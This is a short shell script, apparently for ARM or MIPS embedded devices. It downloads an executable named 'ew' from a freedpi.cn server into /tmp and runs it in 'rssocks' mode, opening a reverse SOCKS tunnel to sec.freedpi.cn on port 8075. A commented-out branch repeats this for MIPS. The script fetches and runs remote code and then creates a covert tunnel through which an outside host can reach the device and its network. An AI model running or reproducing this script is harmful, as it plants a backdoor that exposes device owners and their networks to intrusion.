#! /bin/sh
core=$(uname -a|grep "arm")
echo $core
if [ -n "$core" ]
 then
    wget http://www.freedpi.cn/signature/ct/ew.arm -O /tmp/ew_arm
    chmod +x /tmp/ew_arm
    /tmp/ew_arm -s rssocks -d sec.freedpi.cn -e 8075 &
    #ps |grep ew_arm |grep -v grep > /opt/upt/apps/apps/opt/preinstall/b01odm/data/ps_ew.log
#else
#    wget http://www.freedpi.cn/signature/ct/ew_mipsel -O /tmp/ew_mipsel
#    chmod +x /tmp/ew_mipsel
#    /tmp/ew_mipsel -s rssocks -d sec.freedpi.cn -e 8076 &
fi
